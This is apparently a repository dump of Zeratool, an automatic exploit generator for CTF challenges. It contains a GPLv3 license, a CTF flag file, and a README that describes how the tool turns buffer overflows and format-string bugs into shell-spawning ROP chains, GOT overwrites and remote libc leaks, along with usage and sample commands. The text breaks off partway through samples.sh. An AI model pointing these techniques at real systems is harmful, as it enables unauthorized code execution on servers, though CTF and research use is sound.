├── .gitignore ├── .pass ├── LICENSE ├── README.md ├── bin └── zerapwn.py ├── challenges ├── bof1 ├── bof2 ├── bof3 ├── demo_bin ├── easy_format ├── flag.txt ├── hard_format ├── heap0 ├── libpwnableharness32.so ├── libpwnableharness64.so ├── medium_format ├── ret └── stack0 ├── flag.txt ├── install.sh ├── samples.sh ├── setup.py ├── tests ├── Makefile ├── bin │ ├── bof_32 │ ├── bof_64 │ ├── bof_dlresolve_64 │ ├── bof_nx_32 │ ├── bof_nx_64 │ ├── bof_srop_64 │ ├── bof_win_32 │ ├── bof_win_64 │ ├── format_pc_write_32 │ ├── format_pc_write_64 │ ├── format_write_and_constrain_32 │ ├── format_write_and_constrain_64 │ ├── libc.so.6_amd64 │ ├── libc.so.6_i386 │ ├── read_stack_32 │ └── read_stack_64 ├── bof_test.py ├── buffer_overflow.c ├── format_string.c └── format_test.py ├── tox.ini └── zeratool ├── __init__.py ├── formatDetector.py ├── formatExploiter.py ├── formatLeak.py ├── inputDetector.py ├── malloc_model.py ├── overflowDetector.py ├── overflowExploitSender.py ├── overflowExploiter.py ├── overflowRemoteLeaker.py ├── printf_model.py ├── protectionDetector.py ├── puts_model.py ├── radare_helper.py ├── remote_libc.py ├── simgr_helper.py └── winFunctionDetector.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /.pass: -------------------------------------------------------------------------------- 1 | flag{y0u_g0t_1t} 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Zeratool v2.2 2 | Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems 3 | 4 | This tool uses [angr](https://github.com/angr/angr) to concolically analyze binaries by hooking printf and looking for [unconstrained paths](https://github.com/angr/angr-doc/blob/master/docs/examples.md#vulnerability-discovery). These program states are then weaponized for remote code execution through [pwntools](https://github.com/Gallopsled/pwntools) and a series of script tricks. Finally the payload is tested locally then submitted to a remote CTF server to recover the flag. 5 | 6 | [![asciicast](https://asciinema.org/a/457964.svg)](https://asciinema.org/a/457964) 7 | 8 | ## Version 2.2 changes 9 | 10 | Zeratool now supports remote libc leaking with buffer overflows. When a `puts` or `printf` call is present, Zeratool will leak out remote GOT entries and submit them to an online libc searching database to find offsets without the need for a local copy of the library. 11 | 12 | [See remote libc leak in action!](https://asciinema.org/a/LL2ASZkIwEdwR0xsnzMb3oFLp) 13 | 14 | Zeratool supports some basic ret2dlresolve chaining for 64bit binaries. See the example below on how to run it. 15 | 16 | ## Version 2.1 changes 17 | 18 | Zeratool now supports some smart rop chain generation. During a buffer overflow 19 | Zeratool will attempt to leak a libc address and compute the base address and build a execve(/bin/sh,NULL,NULL) chain or system(/bin/sh) chain. 20 | 21 | ## Installing 22 | Zeratool has been tested on Ubuntu 16.04 through 20.04. Please install [radare2](https://github.com/radareorg/radare2) first 23 | 24 | pip install zeratool 25 | 26 | ## Usage 27 | Zeratool is a python script which accept a binary as an argument and optionally a linked libc library, and a CTF Server connection information 28 | 29 | ``` 30 | [chris:~/Zeratool] zerapwn.py -h 31 | usage: zerapwn.py [-h] [-l LIBC] [-u URL] [-p PORT] [-v] [--force_shellcode] [--force_dlresolve] [--skip_check] [--no_win] [--format_only] [--overflow_only] file 32 | 33 | positional arguments: 34 | file File to analyze 35 | 36 | optional arguments: 37 | -h, --help show this help message and exit 38 | -l LIBC, --libc LIBC libc to use 39 | -u URL, --url URL Remote URL to pwn 40 | -p PORT, --port PORT Remote port to pwn 41 | -v, --verbose Verbose mode 42 | --force_shellcode Set overflow pwn mode to point to shellcode 43 | --force_dlresolve Set overflow pwn mode to use ret2dlresolve 44 | --skip_check Skip first check and jump right to exploiting 45 | --no_win Skip win function checking 46 | --format_only Only run format strings check 47 | --overflow_only Only run overflow check 48 | 49 | ``` 50 | 51 | ## Exploit Types 52 | Zeratool is designed around weaponizing buffer overflows and format string vulnerabilities and currently supports a couple types: 53 | 54 | * Buffer Overflow 55 | * Point program counter to win function 56 | * Point program counter to shellcode 57 | * Point program counter to rop chain 58 | * Rop chains will attempt to leak a libc function 59 | * Rop chains will then execve(/bin/sh) or system(/bin/sh) 60 | * Can attempt a ret2dlresolve ropchain 61 | * Can attempt to use puts/printf to leak remote libc 62 | * Format String 63 | * Point GOT entry to win function 64 | * Point GOT entry to shellcode 65 | 66 | ## Examples 67 | Checkout the samples.sh file. The file contains several examples of Zeratool automatically solving exploitable CTF problems. 68 | 69 | 70 | ``` 71 | #!/bin/bash 72 | # Buffer Overflows with win functions 73 | zerapwn.py tests/bin/bof_win_32 74 | zerapwn.py 